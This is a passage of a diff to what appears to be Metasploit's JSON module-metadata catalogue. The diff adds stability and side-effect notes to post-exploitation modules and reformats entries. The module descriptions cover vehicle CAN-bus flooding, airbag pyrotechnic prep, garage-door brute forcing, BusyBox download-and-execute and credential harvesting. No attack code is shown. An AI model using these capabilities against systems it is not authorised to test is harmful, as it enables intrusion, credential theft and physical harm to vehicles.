"2025-05-01 12:21:55 +0000", "path": "/modules/post/firefox/manage/webcam_chat.rb", "is_install_path": true, "ref_name": "firefox/manage/webcam_chat", @@ -264117,21 +265081,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "screen-effects" + ], + "Reliability": [] }, - "session_types": [ - - ], + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/automotive/can_flood": { "name": "CAN Flood", "fullname": "post/hardware/automotive/can_flood", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264139,16 +265104,14 @@ "Pietro Biondi" ], "description": "This module floods a CAN interface with supplied frames.", - "references": [ - - ], + "references": [], "platform": "Hardware", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-29 01:52:00 +0000", "path": "/modules/post/hardware/automotive/can_flood.rb", "is_install_path": true, "ref_name": "hardware/automotive/can_flood", @@ -264156,21 +265119,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [ + "physical-effects" + ], + "Reliability": [] }, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/automotive/canprobe": { "name": "Module to Probe Different Data Points in a CAN Packet", "fullname": "post/hardware/automotive/canprobe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264178,16 +265144,14 @@ "Craig Smith" ], "description": "Scans between two CAN IDs and writes data at each byte position. It will\n either write a set byte value (Default 0xFF) or iterate through all possible values\n of that byte position (takes much longer). Does not check for responses and is\n basically a simple blind fuzzer.", - "references": [ - - ], + "references": [], "platform": "Hardware", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-29 01:52:00 +0000", "path": "/modules/post/hardware/automotive/canprobe.rb", "is_install_path": true, "ref_name": "hardware/automotive/canprobe", @@ -264195,38 +265159,39 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [ + "physical-effects" + ], + "Reliability": [] }, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/automotive/diagnostic_state": { "name": "Diagnostic State", "fullname": "post/hardware/automotive/diagnostic_state", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "Jay Turla" ], - "description": "This module will keep the vehicle in a diagnostic state on rounds by sending tester present packet", - "references": [ - - ], + "description": "This module will keep the vehicle in a diagnostic state on rounds by sending tester present packet.", + "references": [], "platform": "Hardware", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-10-04 07:31:06 +0000", + "mod_time": "2025-04-29 01:52:00 +0000", "path": "/modules/post/hardware/automotive/diagnostic_state.rb", "is_install_path": true, "ref_name": "hardware/automotive/diagnostic_state", @@ -264240,41 +265205,33 @@ "SideEffects": [ "physical-effects" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/automotive/ecu_hard_reset": { "name": "ECU Hard Reset", "fullname": "post/hardware/automotive/ecu_hard_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "Jay Turla" ], - "description": "This module performs hard reset in the ECU Reset Service Identifier (0x11)", - "references": [ - - ], + "description": "This module performs hard reset in the ECU Reset Service Identifier (0x11).", + "references": [], "platform": "Hardware", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-09-28 18:51:51 +0000", + "mod_time": "2025-04-29 01:52:00 +0000", "path": "/modules/post/hardware/automotive/ecu_hard_reset.rb", "is_install_path": true, "ref_name": "hardware/automotive/ecu_hard_reset", @@ -264288,41 +265245,33 @@ "SideEffects": [ "physical-effects" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/automotive/getvinfo": { "name": "Get the Vehicle Information Such as the VIN from the Target Module", "fullname": "post/hardware/automotive/getvinfo", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "Craig Smith" ], - "description": "Post Module to query DTCs, Some common engine info and Vehicle Info.\n It returns such things as engine speed, coolant temp, Diagnostic\n Trouble Codes as well as All info stored by Mode $09 Vehicle Info, VIN, etc", - "references": [ - - ], + "description": "This module queries DTCs, some common engine info, and vehicle information.\n\n It returns such things as engine speed, coolant temp, Diagnostic Trouble\n Codes, as well as all info stored by Mode $09 Vehicle Info, VIN, etc.", + "references": [], "platform": "Hardware", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-29 01:52:00 +0000", "path": "/modules/post/hardware/automotive/getvinfo.rb", "is_install_path": true, "ref_name": "hardware/automotive/getvinfo", @@ -264330,38 +265279,37 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/automotive/identifymodules": { "name": "Scan CAN Bus for Diagnostic Modules", "fullname": "post/hardware/automotive/identifymodules", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "Craig Smith" ], - "description": "Post Module to scan the CAN bus for any modules that can respond to UDS DSC queries", - "references": [ - - ], + "description": "Scan the CAN bus for any modules that can respond to UDS DSC queries.", + "references": [], "platform": "Hardware", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-29 01:52:00 +0000", "path": "/modules/post/hardware/automotive/identifymodules.rb", "is_install_path": true, "ref_name": "hardware/automotive/identifymodules", @@ -264369,38 +265317,37 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/automotive/malibu_overheat": { "name": "Sample Module to Flood Temp Gauge on 2006 Malibu", "fullname": "post/hardware/automotive/malibu_overheat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "Craig Smith" ], - "description": "Simple sample temp flood for the 2006 Malibu", - "references": [ - - ], + "description": "Simple sample temp flood for the 2006 Malibu.", + "references": [], "platform": "Hardware", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-29 01:52:00 +0000", "path": "/modules/post/hardware/automotive/malibu_overheat.rb", "is_install_path": true, "ref_name": "hardware/automotive/malibu_overheat", @@ -264408,38 +265355,39 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "service-resource-loss" + ], + "SideEffects": [ + "screen-effects" + ], + "Reliability": [] }, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/automotive/mazda_ic_mover": { "name": "Mazda 2 Instrument Cluster Accelorometer Mover", "fullname": "post/hardware/automotive/mazda_ic_mover", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "Jay Turla" ], - "description": "This module moves the needle of the accelorometer and speedometer of the Mazda 2 instrument cluster", - "references": [ - - ], + "description": "This module moves the needle of the accelorometer and speedometer of the Mazda 2 instrument cluster.", + "references": [], "platform": "Hardware", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-29 01:52:00 +0000", "path": "/modules/post/hardware/automotive/mazda_ic_mover.rb", "is_install_path": true, "ref_name": "hardware/automotive/mazda_ic_mover", @@ -264447,21 +265395,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "service-resource-loss" + ], + "SideEffects": [ + "screen-effects" + ], + "Reliability": [] }, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/automotive/pdt": { "name": "Check For and Prep the Pyrotechnic Devices (Airbags, Battery Clamps, etc.)", "fullname": "post/hardware/automotive/pdt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264481,7 +265432,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-29 01:52:00 +0000", "path": "/modules/post/hardware/automotive/pdt.rb", "is_install_path": true, "ref_name": "hardware/automotive/pdt", @@ -264489,30 +265440,34 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "physical-effects" + ], + "Reliability": [] }, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/rftransceiver/rfpwnon": { "name": "Brute Force AM/OOK (ie: Garage Doors)", "fullname": "post/hardware/rftransceiver/rfpwnon", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ + "Corey Harding", "Craig Smith" ], - "description": "Post Module for HWBridge RFTranscievers. Brute forces AM OOK or raw\n binary signals. This is a port of the rfpwnon tool by Corey Harding.\n (https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py)", + "description": "Post Module for HWBridge RFTranscievers. Brute forces AM OOK or raw\n binary signals. This is a port of the rfpwnon tool by Corey Harding.", "references": [ - + "URL-https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py" ], "platform": "Hardware", "arch": "", @@ -264520,7 +265475,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-29 01:52:00 +0000", "path": "/modules/post/hardware/rftransceiver/rfpwnon.rb", "is_install_path": true, "ref_name": "hardware/rftransceiver/rfpwnon", @@ -264528,21 +265483,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "physical-effects" + ], + "Reliability": [] }, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/rftransceiver/transmitter": { "name": "RF Transceiver Transmitter", "fullname": "post/hardware/rftransceiver/transmitter", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264559,7 +265517,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-29 01:52:00 +0000", "path": "/modules/post/hardware/rftransceiver/transmitter.rb", "is_install_path": true, "ref_name": "hardware/rftransceiver/transmitter", @@ -264567,38 +265525,39 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "physical-effects" + ], + "Reliability": [] }, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_hardware/zigbee/zstumbler": { "name": "Sends Beacons to Scan for Active ZigBee Networks", "fullname": "post/hardware/zigbee/zstumbler", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "Craig Smith" ], - "description": "Post Module to send beacon signals to the broadcast address while\n channel hopping", - "references": [ - - ], + "description": "Send beacon signals to the broadcast address while channel hopping.", + "references": [], "platform": "Hardware", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-28 20:12:59 +0000", "path": "/modules/post/hardware/zigbee/zstumbler.rb", "is_install_path": true, "ref_name": "hardware/zigbee/zstumbler", @@ -264606,21 +265565,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "hwbridge" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/busybox/enum_connections": { "name": "BusyBox Enumerate Connections", "fullname": "post/linux/busybox/enum_connections", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264628,9 +265588,7 @@ "Javier Vicente Vallejo" ], "description": "This module will be applied on a session connected to a BusyBox shell. It will\n enumerate the connections established with the router or device executing BusyBox.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -264644,22 +265602,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/busybox/enum_hosts": { "name": "BusyBox Enumerate Host Names", "fullname": "post/linux/busybox/enum_hosts", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264667,9 +265620,7 @@ "Javier Vicente Vallejo" ], "description": "This module will be applied on a session connected to a BusyBox shell. It will enumerate\n host names related to the device executing BusyBox.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -264683,22 +265634,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/busybox/jailbreak": { "name": "BusyBox Jailbreak ", "fullname": "post/linux/busybox/jailbreak", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264706,9 +265652,7 @@ "Javier Vicente Vallejo" ], "description": "This module will send a set of commands to an open session that is connected to a\n BusyBox limited shell (i.e. a router limited shell). It will try different known\n tricks to jailbreak the limited shell and get a full BusyBox shell.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -264722,22 +265666,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/busybox/ping_net": { "name": "BusyBox Ping Network Enumeration", "fullname": "post/linux/busybox/ping_net", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264745,9 +265684,7 @@ "Javier Vicente Vallejo" ], "description": "This module will be applied on a session connected to a BusyBox shell. It will ping a range\n of IP addresses from the router or device executing BusyBox.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -264761,22 +265698,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/busybox/set_dmz": { "name": "BusyBox DMZ Configuration", "fullname": "post/linux/busybox/set_dmz", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264784,9 +265716,7 @@ "Javier Vicente Vallejo" ], "description": "This module will be applied on a session connected to a BusyBox shell. It allows to manage\n traffic forwarding to a target host through the BusyBox device.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -264800,22 +265730,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/busybox/set_dns": { "name": "BusyBox DNS Configuration", "fullname": "post/linux/busybox/set_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264823,9 +265748,7 @@ "Javier Vicente Vallejo" ], "description": "This module will be applied on a session connected to a BusyBox shell. It allows\n to set the DNS server on the device executing BusyBox so it will be sent by the\n DHCP server to network hosts.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -264839,22 +265762,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/busybox/smb_share_root": { "name": "BusyBox SMB Sharing", "fullname": "post/linux/busybox/smb_share_root", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264862,9 +265780,7 @@ "Javier Vicente Vallejo" ], "description": "This module will be applied on a session connected to a BusyBox shell. It will modify\n the SMB configuration of the device executing BusyBox to share the root directory of\n the device.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -264878,22 +265794,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/busybox/wget_exec": { "name": "BusyBox Download and Execute", "fullname": "post/linux/busybox/wget_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264901,9 +265812,7 @@ "Javier Vicente Vallejo" ], "description": "This module will be applied on a session connected to a BusyBox shell. It will use wget to\n download and execute a file from the device running BusyBox.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -264917,22 +265826,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/dos/xen_420_dos": { "name": "Linux DoS Xen 4.2.0 2012-5525", "fullname": "post/linux/dos/xen_420_dos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264950,7 +265854,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-02 23:29:48 +0000", "path": "/modules/post/linux/dos/xen_420_dos.rb", "is_install_path": true, "ref_name": "linux/dos/xen_420_dos", @@ -264958,21 +265862,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "Reliability": [], + "SideEffects": [ + "ioc-in-logs" + ] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/ansible": { "name": "Ansible Config Gather", "fullname": "post/linux/gather/ansible", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -264980,16 +265887,14 @@ "h00die" ], "description": "This module will grab ansible information including hosts, ping status, and the configuration file.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-10 17:29:15 +0000", + "mod_time": "2025-05-02 23:29:48 +0000", "path": "/modules/post/linux/gather/ansible.rb", "is_install_path": true, "ref_name": "linux/gather/ansible", @@ -265000,28 +265905,20 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/ansible_playbook_error_message_file_reader": { "name": "Ansible Playbook Error Message File Reader", "fullname": "post/linux/gather/ansible_playbook_error_message_file_reader", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265039,7 +265936,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-15 17:18:49 +0000", + "mod_time": "2025-05-02 23:29:48 +0000", "path": "/modules/post/linux/gather/ansible_playbook_error_message_file_reader.rb", "is_install_path": true, "ref_name": "linux/gather/ansible_playbook_error_message_file_reader", @@ -265050,28 +265947,20 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/apache_nifi_credentials": { "name": "Apache NiFi Credentials Gather", "fullname": "post/linux/gather/apache_nifi_credentials", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265090,7 +265979,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-24 16:42:43 +0000", + "mod_time": "2025-05-02 23:29:48 +0000", "path": "/modules/post/linux/gather/apache_nifi_credentials.rb", "is_install_path": true, "ref_name": "linux/gather/apache_nifi_credentials", @@ -265101,28 +265990,20 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/checkcontainer": { "name": "Linux Gather Container Detection", "fullname": "post/linux/gather/checkcontainer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265130,9 +266011,7 @@ "James Otten " ], "description": "This module attempts to determine whether the system is running\n inside of a container and if so, which one. This module supports\n detection of Docker, WSL, LXC, Podman and systemd nspawn.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "", "rport": null, @@ -265153,25 +266032,19 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/checkvm": { "name": "Linux Gather Virtual Environment Detection", "fullname": "post/linux/gather/checkvm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265179,16 +266052,14 @@ "Carlos Perez " ], "description": "This module attempts to determine whether the system is running\n inside of a virtual environment and if so, which one. This\n module supports detection of Hyper-V, VMWare, VirtualBox, Xen,\n Bhyve and QEMU/KVM.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-08-22 23:19:09 +0000", + "mod_time": "2025-04-27 12:23:56 +0000", "path": "/modules/post/linux/gather/checkvm.rb", "is_install_path": true, "ref_name": "linux/gather/checkvm", @@ -265196,22 +266067,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/ecryptfs_creds": { "name": "Gather eCryptfs Metadata", "fullname": "post/linux/gather/ecryptfs_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265219,16 +266091,14 @@ "Dhiru Kholia " ], "description": "This module will collect the contents of all users' .ecrypts directories on\n the targeted machine. Collected \"wrapped-passphrase\" files can be\n cracked with John the Ripper (JtR) to recover \"mount passphrases\".", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 12:23:56 +0000", "path": "/modules/post/linux/gather/ecryptfs_creds.rb", "is_install_path": true, "ref_name": "linux/gather/ecryptfs_creds", @@ -265236,21 +266106,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/enum_commands": { "name": "Gather Available Shell Commands", "fullname": "post/linux/gather/enum_commands", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265258,9 +266129,7 @@ "Alberto Rafael Rodriguez Iglesias " ], "description": "This module will check which shell commands are available on a system.\"", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "", "rport": null, @@ -265278,28 +266147,20 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/enum_configs": { "name": "Linux Gather Configurations", "fullname": "post/linux/gather/enum_configs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265307,16 +266168,14 @@ "ohdae " ], "description": "This module collects configuration files found on commonly installed\n applications and services, such as Apache, MySQL, Samba, Sendmail, etc.\n If a config file is found in its default path, the module will assume\n that is the file we want.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 12:23:56 +0000", "path": "/modules/post/linux/gather/enum_configs.rb", "is_install_path": true, "ref_name": "linux/gather/enum_configs", @@ -265324,22 +266183,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/enum_containers": { "name": "Linux Container Enumeration", "fullname": "post/linux/gather/enum_containers", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265347,9 +266207,7 @@ "stealthcopter" ], "description": "This module attempts to enumerate containers on the target machine and optionally run a command on each active container found.\n Currently it supports Docker, LXC and RKT.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -265370,42 +266228,34 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/enum_nagios_xi": { "name": "Nagios XI Enumeration", "fullname": "post/linux/gather/enum_nagios_xi", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-04-17", "type": "post", "author": [ "Cale Smith" ], - "description": "NagiosXI may store credentials of the hosts it monitors. This module extracts these credentials,\n creating opportunities for lateral movement.", - "references": [ - - ], + "description": "NagiosXI may store credentials of the hosts it monitors. This module extracts these credentials,\n creating opportunities for lateral movement.", + "references": [], "platform": "Linux", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 12:23:56 +0000", "path": "/modules/post/linux/gather/enum_nagios_xi.rb", "is_install_path": true, "ref_name": "linux/gather/enum_nagios_xi", @@ -265413,22 +266263,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/enum_network": { "name": "Linux Gather Network Information", "fullname": "post/linux/gather/enum_network", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265437,16 +266288,14 @@ "Stephen Haywood " ], "description": "This module gathers network information from the target system\n IPTables rules, interfaces, wireless information, open and listening\n ports, active network connections, DNS information and SSH information.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 12:23:56 +0000", "path": "/modules/post/linux/gather/enum_network.rb", "is_install_path": true, "ref_name": "linux/gather/enum_network", @@ -265454,22 +266303,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/enum_protections": { "name": "Linux Gather Protection Enumeration", "fullname": "post/linux/gather/enum_protections", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265477,16 +266327,14 @@ "ohdae " ], "description": "This module checks whether popular system hardening mechanisms are\n in place, such as SMEP, SMAP, SELinux, PaX and grsecurity. It also\n tries to find installed applications that can be used to hinder,\n prevent, or detect attacks, such as tripwire, snort, and apparmor.\n\n This module is meant to identify Linux Secure Modules (LSM) in addition\n to various antivirus, IDS/IPS, firewalls, sandboxes and other security\n related software.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 23:10:40 +0000", "path": "/modules/post/linux/gather/enum_protections.rb", "is_install_path": true, "ref_name": "linux/gather/enum_protections", @@ -265494,22 +266342,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/enum_psk": { "name": "Linux Gather NetworkManager 802-11-Wireless-Security Credentials", "fullname": "post/linux/gather/enum_psk", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265517,9 +266366,7 @@ "Cenk Kalpakoglu" ], "description": "This module collects 802-11-Wireless-Security credentials such as\n Access-Point name and Pre-Shared-Key from Linux NetworkManager\n connection configuration files.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -265537,28 +266384,20 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", 